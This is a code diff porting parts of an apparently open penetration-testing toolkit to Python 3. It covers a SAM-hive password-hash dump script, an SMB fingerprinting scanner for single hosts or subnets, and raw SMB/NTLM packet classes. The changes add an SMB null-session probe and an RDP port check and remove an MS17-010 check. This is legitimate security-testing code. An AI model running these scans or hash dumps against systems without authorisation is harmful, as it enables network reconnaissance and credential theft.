@ -25,7 +25,7 @@ import sys
from framework.win32.hashdump import dump_file_hashes from framework.win32.hashdump import dump_file_hashes
if len(sys.argv) < 3: if len(sys.argv) < 3:
print "usage: %s bootkey SAM_File" % sys.argv[0] print("usage: %s <system hive> <SAM hive>" % sys.argv[0])
sys.exit(1) sys.exit(1)
dump_file_hashes(sys.argv[1].decode("hex"), sys.argv[2]) dump_file_hashes(sys.argv[1], sys.argv[2])

View file

@ -14,20 +14,18 @@
# #
# You should have received a copy of the GNU General Public License # You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>. # along with this program. If not, see <http://www.gnu.org/licenses/>.
import re,sys,socket,struct import re,sys,struct
import datetime import datetime
import multiprocessing import multiprocessing
from socket import * from socket import *
from odict import OrderedDict from odict import OrderedDict
import optparse import optparse
from RunFingerPackets import * from RunFingerPackets import *
__version__ = "1.0"
__version__ = "0.8"
parser = optparse.OptionParser(usage='python %prog -i 10.10.10.224\nor:\npython %prog -i 10.10.10.0/24', version=__version__, prog=sys.argv[0]) parser = optparse.OptionParser(usage='python %prog -i 10.10.10.224\nor:\npython %prog -i 10.10.10.0/24', version=__version__, prog=sys.argv[0])
parser.add_option('-i','--ip', action="store", help="Target IP address or class C", dest="TARGET", metavar="10.10.10.224", default=None) parser.add_option('-i','--ip', action="store", help="Target IP address or class C", dest="TARGET", metavar="10.10.10.224", default=None)
parser.add_option('-a','--all', action="store_true", help="Performs all checks (including MS17-010)", dest="all", default=False)
parser.add_option('-g','--grep', action="store_true", dest="grep_output", default=False, help="Output in grepable format") parser.add_option('-g','--grep', action="store_true", dest="grep_output", default=False, help="Output in grepable format")
options, args = parser.parse_args() options, args = parser.parse_args()
@ -38,31 +36,58 @@ if options.TARGET is None:
Timeout = 2 Timeout = 2
Host = options.TARGET Host = options.TARGET
MS17010Check = options.all
class Packet(): class Packet():
fields = OrderedDict([ fields = OrderedDict([
]) ])
def __init__(self, **kw): def __init__(self, **kw):
self.fields = OrderedDict(self.__class__.fields) self.fields = OrderedDict(self.__class__.fields)
for k,v in kw.items(): for k,v in list(kw.items()):
if callable(v): if callable(v):
self.fields[k] = v(self.fields[k]) self.fields[k] = v(self.fields[k])
else: else:
self.fields[k] = v self.fields[k] = v
def __str__(self): def __str__(self):
return "".join(map(str, self.fields.values())) return "".join(map(str, list(self.fields.values())))
#Python version
if (sys.version_info > (3, 0)):
PY2OR3 = "PY3"
else:
PY2OR3 = "PY2"
def StructWithLenPython2or3(endian,data):
#Python2...
if PY2OR3 is "PY2":
return struct.pack(endian, data)
#Python3...
else:
return struct.pack(endian, data).decode('latin-1')
def NetworkSendBufferPython2or3(data):
if PY2OR3 is "PY2":
return str(data)
else:
return bytes(str(data), 'latin-1')
def NetworkRecvBufferPython2or3(data):
if PY2OR3 is "PY2":
return str(data)
else:
return str(data.decode('latin-1'))
def longueur(payload): def longueur(payload):
length = struct.pack(">i", len(''.join(payload))) length = StructWithLenPython2or3(">i", len(''.join(payload)))
return length return length
def GetBootTime(data): def GetBootTime(data):
try:
Filetime = int(struct.unpack('<q',data)[0]) Filetime = int(struct.unpack('<q',data)[0])
t = divmod(Filetime - 116444736000000000, 10000000) t = divmod(Filetime - 116444736000000000, 10000000)
time = datetime.datetime.fromtimestamp(t[0]) time = datetime.datetime.fromtimestamp(t[0])
return time, time.strftime('%Y-%m-%d %H:%M:%S') return time, time.strftime('%Y-%m-%d %H:%M:%S')
except:
pass
##################### #####################
@ -80,23 +105,25 @@ def dtoa(d):
def OsNameClientVersion(data): def OsNameClientVersion(data):
try: try:
length = struct.unpack('<H',data[43:45])[0] length = struct.unpack('<H',data[43:45].encode('latin-1'))[0]
if length > 255: if length > 255:
OsVersion, ClientVersion = tuple([e.replace('\x00','') for e in data[48+length:].split('\x00\x00\x00')[:2]]) OsVersion, ClientVersion = tuple([e.replace("\x00", "") for e in data[47+length:].split('\x00\x00\x00')[:2]])
return OsVersion, ClientVersion return OsVersion, ClientVersion
if length <= 255: if length <= 255:
OsVersion, ClientVersion = tuple([e.replace('\x00','') for e in data[47+length:].split('\x00\x00\x00')[:2]]) OsVersion, ClientVersion = tuple([e.replace("\x00", "") for e in data[46+length:].split('\x00\x00\x00')[:2]])
return OsVersion, ClientVersion return OsVersion, ClientVersion
except: except:
return "Could not fingerprint Os version.", "Could not fingerprint LanManager Client version" return "Could not fingerprint Os version.", "Could not fingerprint LanManager Client version"
def GetHostnameAndDomainName(data): def GetHostnameAndDomainName(data):
try: try:
DomainJoined, Hostname = tuple([e.replace('\x00','') for e in data[81:].split('\x00\x00\x00')[:2]])
Time = GetBootTime(data[60:68]) Time = GetBootTime(data[60:68])
data = NetworkRecvBufferPython2or3(data)
DomainJoined, Hostname = tuple([e.replace("\x00", "") for e in data[81:].split('\x00\x00\x00')[:2]])
#If max length domain name, there won't be a \x00\x00\x00 delineator to split on #If max length domain name, there won't be a \x00\x00\x00 delineator to split on
if Hostname == '': if Hostname == '':
DomainJoined = data[81:110].replace('\x00','') DomainJoined = data[81:110].decode('latin-1')
Hostname = data[113:].replace('\x00','') Hostname = data[113:].decode('latin-1')
return Hostname, DomainJoined, Time return Hostname, DomainJoined, Time
except: except:
return "Could not get Hostname.", "Could not get Domain joined" return "Could not get Hostname.", "Could not get Domain joined"
@ -113,10 +140,10 @@ def DomainGrab(Host):
n = SMBNegoDataLanMan() n = SMBNegoDataLanMan()
packet0 = str(h)+str(n) packet0 = str(h)+str(n)
buffer0 = longueur(packet0)+packet0 buffer0 = longueur(packet0)+packet0
s.send(buffer0) s.send(NetworkSendBufferPython2or3(buffer0))
data = s.recv(2048) data = s.recv(2048)
s.close() s.close()
if data[8:10] == "\x72\x00": if data[8:10] == b'\x72\x00':
return GetHostnameAndDomainName(data) return GetHostnameAndDomainName(data)
except: except:
pass pass
@ -134,53 +161,22 @@ def SmbFinger(Host):
n.calculate() n.calculate()
packet0 = str(h)+str(n) packet0 = str(h)+str(n)
buffer0 = longueur(packet0)+packet0 buffer0 = longueur(packet0)+packet0
s.send(buffer0) s.send(NetworkSendBufferPython2or3(buffer0))
data = s.recv(2048) data = s.recv(2048)
signing = IsSigningEnabled(data) signing = IsSigningEnabled(data)
if data[8:10] == "\x72\x00": if data[8:10] == b'\x72\x00':
head = SMBHeader(cmd="\x73",flag1="\x18",flag2="\x17\xc8",uid="\x00\x00") head = SMBHeader(cmd="\x73",flag1="\x18",flag2="\x17\xc8",uid="\x00\x00")
t = SMBSessionFingerData() t = SMBSessionFingerData()
packet0 = str(head)+str(t) packet0 = str(head)+str(t)
buffer1 = longueur(packet0)+packet0 buffer1 = longueur(packet0)+packet0
s.send(buffer1) s.send(NetworkSendBufferPython2or3(buffer1))
data = s.recv(2048) data = s.recv(2048)
if data[8:10] == "\x73\x16": if data[8:10] == b'\x73\x16':
OsVersion, ClientVersion = OsNameClientVersion(data) OsVersion, ClientVersion = OsNameClientVersion(NetworkRecvBufferPython2or3(data))
return signing, OsVersion, ClientVersion return signing, OsVersion, ClientVersion
except: except:
pass pass
def check_ms17_010(host):
s = socket(AF_INET, SOCK_STREAM)
try:
s.settimeout(Timeout)
s.connect(Host)
h = SMBHeader(cmd="\x72",flag1="\x18", flag2="\x53\xc8")
n = SMBNego(Data = SMBNegoData())
n.calculate()
packet0 = str(h)+str(n)
buffer0 = longueur(packet0)+packet0
s.send(buffer0)
data = s.recv(2048)
if data[8:10] == "\x75\x00":
head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",uid=data[32:34],tid=data[28:30],mid="\xc0\x00")
t = SMBTransRAPData()
t.calculate()
packet1 = str(head)+str(t)
buffer1 = longueur(packet1)+packet1
s.send(buffer1)
data = s.recv(2048)
if data[9:13] == "\x05\x02\x00\xc0":
return True
else:
return False
else:
return False
except Exception as err:
return False
def check_smb_null_session(host): def check_smb_null_session(host):
s = socket(AF_INET, SOCK_STREAM) s = socket(AF_INET, SOCK_STREAM)
try: try:
@ -191,38 +187,54 @@ def check_smb_null_session(host):
n.calculate() n.calculate()
packet0 = str(h)+str(n) packet0 = str(h)+str(n)
buffer0 = longueur(packet0)+packet0 buffer0 = longueur(packet0)+packet0
s.send(buffer0) s.send(NetworkSendBufferPython2or3(buffer0))
data = s.recv(2048) data = s.recv(2048)
if data[8:10] == "\x75\x00": if data[8:10] == b'\x72\x00':
h = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x17\xc8",mid="\x40\x00")
n = SMBSessionData()
n.calculate()
packet0 = str(h)+str(n)
buffer0 = longueur(packet0)+packet0
s.send(NetworkSendBufferPython2or3(buffer0))
data = s.recv(2048)
if data[8:10] == b'\x73\x16':
h = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x17\xc8",uid=data[32:34].decode('latin-1'),mid="\x80\x00")
n = SMBSession2()
n.calculate()
packet0 = str(h)+str(n)
buffer0 = longueur(packet0)+packet0
s.send(NetworkSendBufferPython2or3(buffer0))
data = s.recv(2048)
if data[8:10] == b'\x73\x00':
h = SMBHeader(cmd="\x75",flag1="\x18", flag2="\x07\xc8",uid=data[32:34].decode('latin-1'),mid="\xc0\x00")
n = SMBTreeConnectData()
n.calculate()
packet0 = str(h)+str(n)
buffer0 = longueur(packet0)+packet0
s.send(NetworkSendBufferPython2or3(buffer0))
data = s.recv(2048)
if data[8:10] == b'\x75\x00':
return True return True
else: else:
return False return False
except Exception: except Exception:
pass
return False return False
################## ##################
#run it #run it
def ShowResults(Host): def ShowResults(Host):
try: try:
Hostname, DomainJoined, Time = DomainGrab(Host) Hostname, DomainJoined, Time = DomainGrab((Host, 445))
Signing, OsVer, LanManClient = SmbFinger(Host) Signing, OsVer, LanManClient = SmbFinger((Host, 445))
NullSess = check_smb_null_session(Host) NullSess = check_smb_null_session((Host, 445))
if MS17010Check: print(("Retrieving information for %s..."%(Host)))
Ms17010 = check_ms17_010(Host) print(("SMB signing: %s"%(Signing)))
print "Retrieving information for %s..."%Host[0] print(("Null Sessions Allowed: %s"%(NullSess)))
print "SMB signing:", Signing print(("Server Time: %s"%(Time[1])))
print "Null Sessions Allowed:", NullSess print(("OS version: '%s'\nLanman Client: '%s'"%(OsVer, LanManClient)))
print "Vulnerable to MS17-010:", Ms17010 print(("Machine Hostname: '%s'\nThis machine is part of the '%s' domain"%(Hostname, DomainJoined)))
print "Server Time:", Time[1] print(("RDP port open: '%s'\n"%(IsRDPOn((Host,3389)))))
print "OS version: '%s'\nLanman Client: '%s'"%(OsVer, LanManClient)
print "Machine Hostname: '%s'\nThis machine is part of the '%s' domain\n"%(Hostname, DomainJoined)
else:
print "Retrieving information for %s..."%Host[0]
print "SMB signing:", Signing
print "Null Sessions Allowed:", NullSess
print "Server Time:", Time[1]
print "OS version: '%s'\nLanman Client: '%s'"%(OsVer, LanManClient)
print "Machine Hostname: '%s'\nThis machine is part of the '%s' domain\n"%(Hostname, DomainJoined)
except: except:
pass pass
@ -230,26 +242,31 @@ def ShowSmallResults(Host):
s = socket(AF_INET, SOCK_STREAM) s = socket(AF_INET, SOCK_STREAM)
try: try:
s.settimeout(Timeout) s.settimeout(Timeout)
s.connect(Host) s.connect((Host, 445))
except: except:
return False return False
try: try:
if MS17010Check: Hostname, DomainJoined, Time = DomainGrab((Host, 445))
Hostname, DomainJoined, Time = DomainGrab(Host) Signing, OsVer, LanManClient = SmbFinger((Host, 445))
Signing, OsVer, LanManClient = SmbFinger(Host) NullSess = check_smb_null_session((Host, 445))
NullSess = check_smb_null_session(Host) print(("['{}', Os:'{}', Domain:'{}', Signing:'{}', Time:'{}', Null Session: '{}', RDP:'{}']".format(Host, OsVer, DomainJoined, Signing, Time[1],NullSess,IsRDPOn((Host,3389)))))
Ms17010 = check_ms17_010(Host)
message_ms17010 = ", MS17-010: {}".format(Ms17010)
print("['{}', Os:'{}', Domain:'{}', Signing:'{}', Time:'{}', Null Session: {} {}".format(Host[0], OsVer, DomainJoined, Signing, Time[1],NullSess, message_ms17010))
else:
Hostname, DomainJoined, Time = DomainGrab(Host)
Signing, OsVer, LanManClient = SmbFinger(Host)
NullSess = check_smb_null_session(Host)
print("['{}', Os:'{}', Domain:'{}', Signing:'{}', Time:'{}', Null Session: {}".format(Host[0], OsVer, DomainJoined, Signing, Time[1],NullSess))
except Exception as err: except Exception as err:
pass pass
def IsRDPOn(Host):
s = socket(AF_INET, SOCK_STREAM)
try:
s.settimeout(Timeout)
s.connect(Host)
if s:
return True
else:
return False
except Exception as err:
return False
def RunFinger(Host): def RunFinger(Host):
m = re.search("/", str(Host)) m = re.search("/", str(Host))
if m: if m:
@ -262,13 +279,13 @@ def RunFinger(Host):
else: else:
func = ShowResults func = ShowResults
for host in (dtoa(net+n) for n in range(0, 1<<32-mask)): for host in (dtoa(net+n) for n in range(0, 1<<32-mask)):
p = multiprocessing.Process(target=func, args=((host,445),)) p = multiprocessing.Process(target=func, args=((host),))
threads.append(p) threads.append(p)
p.start() p.start()
else: else:
if options.grep_output: if options.grep_output:
ShowSmallResults((Host,445)) ShowSmallResults(Host)
else: else:
ShowResults((Host,445)) ShowResults(Host)
RunFinger(Host) RunFinger(Host)

View file

@ -1,24 +1,33 @@
import random, struct import random, struct, sys
from socket import * from socket import *
from time import sleep from time import sleep
from odict import OrderedDict from odict import OrderedDict
def longueur(payload): #Python version
length = struct.pack(">i", len(''.join(payload))) if (sys.version_info > (3, 0)):
return length PY2OR3 = "PY3"
else:
PY2OR3 = "PY2"
def StructWithLenPython2or3(endian,data):
#Python2...
if PY2OR3 is "PY2":
return struct.pack(endian, data)
#Python3...
else:
return struct.pack(endian, data).decode('latin-1')
class Packet(): class Packet():
fields = OrderedDict([ fields = OrderedDict([
]) ])
def __init__(self, **kw): def __init__(self, **kw):
self.fields = OrderedDict(self.__class__.fields) self.fields = OrderedDict(self.__class__.fields)
for k,v in kw.items(): for k,v in list(kw.items()):
if callable(v): if callable(v):
self.fields[k] = v(self.fields[k]) self.fields[k] = v(self.fields[k])
else: else:
self.fields[k] = v self.fields[k] = v
def __str__(self): def __str__(self):
return "".join(map(str, self.fields.values())) return "".join(map(str, list(self.fields.values())))
class SMBHeader(Packet): class SMBHeader(Packet):
fields = OrderedDict([ fields = OrderedDict([
@ -44,7 +53,7 @@ class SMBNego(Packet):
]) ])
def calculate(self): def calculate(self):
self.fields["Bcc"] = struct.pack("<h",len(str(self.fields["Data"]))) self.fields["Bcc"] = StructWithLenPython2or3("<h",len(str(self.fields["Data"])))
class SMBNegoData(Packet): class SMBNegoData(Packet):
fields = OrderedDict([ fields = OrderedDict([
@ -145,9 +154,9 @@ class SMBSessionData(Packet):
("NegTokenInitSeqMechMessageVersionReserved","\x00\x00\x00"), ("NegTokenInitSeqMechMessageVersionReserved","\x00\x00\x00"),
("NegTokenInitSeqMechMessageVersionNTLMType","\x0f"), ("NegTokenInitSeqMechMessageVersionNTLMType","\x0f"),
("NegTokenInitSeqMechMessageVersionTerminator","\x00"), ("NegTokenInitSeqMechMessageVersionTerminator","\x00"),
("nativeOs","Windows 2002 Service Pack 3 2600".encode('utf-16le')), ("nativeOs","Windows 2002 Service Pack 3 2600".encode('utf-16le').decode('latin-1')),
("nativeOsterminator","\x00\x00"), ("nativeOsterminator","\x00\x00"),
("nativelan","Windows 2002 5.1".encode('utf-16le')), ("nativelan","Windows 2002 5.1".encode('utf-16le').decode('latin-1')),
("nativelanterminator","\x00\x00\x00\x00"), ("nativelanterminator","\x00\x00\x00\x00"),
]) ])
@ -174,29 +183,29 @@ class SMBSessionData(Packet):
data11 = str(self.fields["NegTokenInitSeqNLMPTag1"])+str(self.fields["NegTokenInitSeqNLMPTag1Len"])+str(self.fields["NegTokenInitSeqNLMPTag1Str"]) data11 = str(self.fields["NegTokenInitSeqNLMPTag1"])+str(self.fields["NegTokenInitSeqNLMPTag1Len"])+str(self.fields["NegTokenInitSeqNLMPTag1Str"])
## Packet len ## Packet len
self.fields["andxoffset"] = struct.pack("<H", len(data9)+32) self.fields["andxoffset"] = StructWithLenPython2or3("<H", len(data9)+32)
##Buff Len ##Buff Len
self.fields["securitybloblength"] = struct.pack("<H", len(data1)) self.fields["securitybloblength"] = StructWithLenPython2or3("<H", len(data1))
##Complete Buff Len ##Complete Buff Len
self.fields["bcc1"] = struct.pack("<H", len(data5)) self.fields["bcc1"] = StructWithLenPython2or3("<H", len(data5))
##App Header ##App Header
self.fields["ApplicationHeaderLen"] = struct.pack("<B", len(data2)) self.fields["ApplicationHeaderLen"] = StructWithLenPython2or3("<B", len(data2))
##Asn Field 1 ##Asn Field 1
self.fields["AsnSecMechLen"] = struct.pack("<B", len(str(self.fields["AsnSecMechStr"]))) self.fields["AsnSecMechLen"] = StructWithLenPython2or3("<B", len(str(self.fields["AsnSecMechStr"])))
##Asn Field 1 ##Asn Field 1
self.fields["ChoosedTagStrLen"] = struct.pack("<B", len(data3)) self.fields["ChoosedTagStrLen"] = StructWithLenPython2or3("<B", len(data3))
##SpNegoTokenLen ##SpNegoTokenLen
self.fields["NegTokenInitSeqHeadLen"] = struct.pack("<B", len(data4)) self.fields["NegTokenInitSeqHeadLen"] = StructWithLenPython2or3("<B", len(data4))
##NegoTokenInit ##NegoTokenInit
self.fields["NegTokenInitSeqHeadLen1"] = struct.pack("<B", len(data10)) self.fields["NegTokenInitSeqHeadLen1"] = StructWithLenPython2or3("<B", len(data10))
## Tag0 Len ## Tag0 Len
self.fields["NegTokenInitSeqNLMPLen"] = struct.pack("<B", len(data11)) self.fields["NegTokenInitSeqNLMPLen"] = StructWithLenPython2or3("<B", len(data11))
## Tag0 Str Len ## Tag0 Str Len
self.fields["NegTokenInitSeqNLMPTag1Len"] = struct.pack("<B", len(str(self.fields["NegTokenInitSeqNLMPTag1Str"]))) self.fields["NegTokenInitSeqNLMPTag1Len"] = StructWithLenPython2or3("<B", len(str(self.fields["NegTokenInitSeqNLMPTag1Str"])))
## Tag2 Len ## Tag2 Len
self.fields["NegTokenInitSeqNLMPTag2Len"] = struct.pack("<B", len(data6)) self.fields["NegTokenInitSeqNLMPTag2Len"] = StructWithLenPython2or3("<B", len(data6))
## Tag3 Len ## Tag3 Len
self.fields["NegTokenInitSeqNLMPTag2OctetLen"] = struct.pack("<B", len(data7)) self.fields["NegTokenInitSeqNLMPTag2OctetLen"] = StructWithLenPython2or3("<B", len(data7))
######################################################################################################### #########################################################################################################
@ -263,12 +272,12 @@ class SMBSession2(Packet):
def calculate(self): def calculate(self):
self.fields["NLMPAuthMsgNtUserName"] = self.fields["NLMPAuthMsgNtUserName"].encode('utf-16le') self.fields["NLMPAuthMsgNtUserName"] = self.fields["NLMPAuthMsgNtUserName"].encode('utf-16le').decode('latin-1')
self.fields["NLMPAuthMsgNtDomainName"] = self.fields["NLMPAuthMsgNtDomainName"].encode('utf-16le') self.fields["NLMPAuthMsgNtDomainName"] = self.fields["NLMPAuthMsgNtDomainName"].encode('utf-16le').decode('latin-1')
self.fields["NLMPAuthMsgNtWorkstationName"] = self.fields["NLMPAuthMsgNtWorkstationName"].encode('utf-16le') self.fields["NLMPAuthMsgNtWorkstationName"] = self.fields["NLMPAuthMsgNtWorkstationName"].encode('utf-16le').decode('latin-1')
self.fields["nativeOs"] = self.fields["nativeOs"].encode('utf-16le') self.fields["nativeOs"] = self.fields["nativeOs"].encode('utf-16le').decode('latin-1')
self.fields["nativelan"] = self.fields["nativelan"].encode('utf-16le') self.fields["nativelan"] = self.fields["nativelan"].encode('utf-16le').decode('latin-1')
CompletePacketLen = str(self.fields["wordcount"])+str(self.fields["AndXCommand"])+str(self.fields["reserved"])+str(self.fields["andxoffset"])+str(self.fields["maxbuff"])+str(self.fields["maxmpx"])+str(self.fields["vcnum"])+str(self.fields["sessionkey"])+str(self.fields["securitybloblength"])+str(self.fields["reserved2"])+str(self.fields["capabilities"])+str(self.fields["bcc1"])+str(self.fields["ApplicationHeaderTag"])+str(self.fields["ApplicationHeaderLen"])+str(self.fields["AsnSecMechType"])+str(self.fields["AsnSecMechLen"])+str(self.fields["ChoosedTag"])+str(self.fields["ChoosedTagLen"])+str(self.fields["ChoosedTag1"])+str(self.fields["ChoosedTag1StrLen"])+str(self.fields["NLMPAuthMsgSignature"])+str(self.fields["NLMPAuthMsgMessageType"])+str(self.fields["NLMPAuthMsgLMChallengeLen"])+str(self.fields["NLMPAuthMsgLMChallengeMaxLen"])+str(self.fields["NLMPAuthMsgLMChallengeBuffOffset"])+str(self.fields["NLMPAuthMsgNtChallengeResponseLen"])+str(self.fields["NLMPAuthMsgNtChallengeResponseMaxLen"])+str(self.fields["NLMPAuthMsgNtChallengeResponseBuffOffset"])+str(self.fields["NLMPAuthMsgNtDomainNameLen"])+str(self.fields["NLMPAuthMsgNtDomainNameMaxLen"])+str(self.fields["NLMPAuthMsgNtDomainNameBuffOffset"])+str(self.fields["NLMPAuthMsgNtUserNameLen"])+str(self.fields["NLMPAuthMsgNtUserNameMaxLen"])+str(self.fields["NLMPAuthMsgNtUserNameBuffOffset"])+str(self.fields["NLMPAuthMsgNtWorkstationLen"])+str(self.fields["NLMPAuthMsgNtWorkstationMaxLen"])+str(self.fields["NLMPAuthMsgNtWorkstationBuffOffset"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageLen"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageMaxLen"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageBuffOffset"])+str(self.fields["NLMPAuthMsgNtNegotiateFlags"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])+str(self.fields["NLMPAuthMsgNtDomainName"])+str(self.fields["NLMPAuthMsgNtUserName"])+str(self.fields["NLMPAuthMsgNtWorkstationName"])+str(self.fields["NLMPAuthLMChallengeStr"])+str(self.fields["NLMPAuthMsgNTLMV1ChallengeResponseStruct"])+str(self.fields["NLMPAuthMsgNTerminator"])+str(self.fields["nativeOs"])+str(self.fields["nativeOsterminator"])+str(self.fields["nativelan"])+str(self.fields["nativelanterminator"]) CompletePacketLen = str(self.fields["wordcount"])+str(self.fields["AndXCommand"])+str(self.fields["reserved"])+str(self.fields["andxoffset"])+str(self.fields["maxbuff"])+str(self.fields["maxmpx"])+str(self.fields["vcnum"])+str(self.fields["sessionkey"])+str(self.fields["securitybloblength"])+str(self.fields["reserved2"])+str(self.fields["capabilities"])+str(self.fields["bcc1"])+str(self.fields["ApplicationHeaderTag"])+str(self.fields["ApplicationHeaderLen"])+str(self.fields["AsnSecMechType"])+str(self.fields["AsnSecMechLen"])+str(self.fields["ChoosedTag"])+str(self.fields["ChoosedTagLen"])+str(self.fields["ChoosedTag1"])+str(self.fields["ChoosedTag1StrLen"])+str(self.fields["NLMPAuthMsgSignature"])+str(self.fields["NLMPAuthMsgMessageType"])+str(self.fields["NLMPAuthMsgLMChallengeLen"])+str(self.fields["NLMPAuthMsgLMChallengeMaxLen"])+str(self.fields["NLMPAuthMsgLMChallengeBuffOffset"])+str(self.fields["NLMPAuthMsgNtChallengeResponseLen"])+str(self.fields["NLMPAuthMsgNtChallengeResponseMaxLen"])+str(self.fields["NLMPAuthMsgNtChallengeResponseBuffOffset"])+str(self.fields["NLMPAuthMsgNtDomainNameLen"])+str(self.fields["NLMPAuthMsgNtDomainNameMaxLen"])+str(self.fields["NLMPAuthMsgNtDomainNameBuffOffset"])+str(self.fields["NLMPAuthMsgNtUserNameLen"])+str(self.fields["NLMPAuthMsgNtUserNameMaxLen"])+str(self.fields["NLMPAuthMsgNtUserNameBuffOffset"])+str(self.fields["NLMPAuthMsgNtWorkstationLen"])+str(self.fields["NLMPAuthMsgNtWorkstationMaxLen"])+str(self.fields["NLMPAuthMsgNtWorkstationBuffOffset"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageLen"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageMaxLen"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageBuffOffset"])+str(self.fields["NLMPAuthMsgNtNegotiateFlags"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])+str(self.fields["NLMPAuthMsgNtDomainName"])+str(self.fields["NLMPAuthMsgNtUserName"])+str(self.fields["NLMPAuthMsgNtWorkstationName"])+str(self.fields["NLMPAuthLMChallengeStr"])+str(self.fields["NLMPAuthMsgNTLMV1ChallengeResponseStruct"])+str(self.fields["NLMPAuthMsgNTerminator"])+str(self.fields["nativeOs"])+str(self.fields["nativeOsterminator"])+str(self.fields["nativelan"])+str(self.fields["nativelanterminator"])
@ -290,39 +299,39 @@ class SMBSession2(Packet):
CalculateNTChallengeOffset = str(self.fields["NLMPAuthMsgSignature"])+str(self.fields["NLMPAuthMsgMessageType"])+str(self.fields["NLMPAuthMsgLMChallengeLen"])+str(self.fields["NLMPAuthMsgLMChallengeMaxLen"])+str(self.fields["NLMPAuthMsgLMChallengeBuffOffset"])+str(self.fields["NLMPAuthMsgNtChallengeResponseLen"])+str(self.fields["NLMPAuthMsgNtChallengeResponseMaxLen"])+str(self.fields["NLMPAuthMsgNtChallengeResponseBuffOffset"])+str(self.fields["NLMPAuthMsgNtDomainNameLen"])+str(self.fields["NLMPAuthMsgNtDomainNameMaxLen"])+str(self.fields["NLMPAuthMsgNtDomainNameBuffOffset"])+str(self.fields["NLMPAuthMsgNtUserNameLen"])+str(self.fields["NLMPAuthMsgNtUserNameMaxLen"])+str(self.fields["NLMPAuthMsgNtUserNameBuffOffset"])+str(self.fields["NLMPAuthMsgNtWorkstationLen"])+str(self.fields["NLMPAuthMsgNtWorkstationMaxLen"])+str(self.fields["NLMPAuthMsgNtWorkstationBuffOffset"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageLen"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageMaxLen"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageBuffOffset"])+str(self.fields["NLMPAuthMsgNtNegotiateFlags"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])+str(self.fields["NLMPAuthMsgNtDomainName"])+str(self.fields["NLMPAuthMsgNtUserName"])+str(self.fields["NLMPAuthMsgNtWorkstationName"])+str(self.fields["NLMPAuthLMChallengeStr"]) CalculateNTChallengeOffset = str(self.fields["NLMPAuthMsgSignature"])+str(self.fields["NLMPAuthMsgMessageType"])+str(self.fields["NLMPAuthMsgLMChallengeLen"])+str(self.fields["NLMPAuthMsgLMChallengeMaxLen"])+str(self.fields["NLMPAuthMsgLMChallengeBuffOffset"])+str(self.fields["NLMPAuthMsgNtChallengeResponseLen"])+str(self.fields["NLMPAuthMsgNtChallengeResponseMaxLen"])+str(self.fields["NLMPAuthMsgNtChallengeResponseBuffOffset"])+str(self.fields["NLMPAuthMsgNtDomainNameLen"])+str(self.fields["NLMPAuthMsgNtDomainNameMaxLen"])+str(self.fields["NLMPAuthMsgNtDomainNameBuffOffset"])+str(self.fields["NLMPAuthMsgNtUserNameLen"])+str(self.fields["NLMPAuthMsgNtUserNameMaxLen"])+str(self.fields["NLMPAuthMsgNtUserNameBuffOffset"])+str(self.fields["NLMPAuthMsgNtWorkstationLen"])+str(self.fields["NLMPAuthMsgNtWorkstationMaxLen"])+str(self.fields["NLMPAuthMsgNtWorkstationBuffOffset"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageLen"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageMaxLen"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageBuffOffset"])+str(self.fields["NLMPAuthMsgNtNegotiateFlags"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])+str(self.fields["NLMPAuthMsgNtDomainName"])+str(self.fields["NLMPAuthMsgNtUserName"])+str(self.fields["NLMPAuthMsgNtWorkstationName"])+str(self.fields["NLMPAuthLMChallengeStr"])
## Packet len ## Packet len
self.fields["andxoffset"] = struct.pack("<i", len(CompletePacketLen)+32)[:2] self.fields["andxoffset"] = StructWithLenPython2or3("<i", len(CompletePacketLen)+32)[:2]
##Buff Len ##Buff Len
self.fields["securitybloblength"] = struct.pack("<i", len(SecurityBlobLen))[:2] self.fields["securitybloblength"] = StructWithLenPython2or3("<i", len(SecurityBlobLen))[:2]
##Complete Buff Len ##Complete Buff Len
self.fields["bcc1"] = struct.pack("<i", len(SecurityBlobBCC))[:2] self.fields["bcc1"] = StructWithLenPython2or3("<i", len(SecurityBlobBCC))[:2]
## Guest len check ## Guest len check
self.fields["ApplicationHeaderLen"] = struct.pack("<i", len(SecurityBlobLen)-2)[:1] self.fields["ApplicationHeaderLen"] = StructWithLenPython2or3("<i", len(SecurityBlobLen)-2)[:1]
self.fields["AsnSecMechLen"] = struct.pack("<i", len(SecurityBlobLen)-4)[:1] self.fields["AsnSecMechLen"] = StructWithLenPython2or3("<i", len(SecurityBlobLen)-4)[:1]
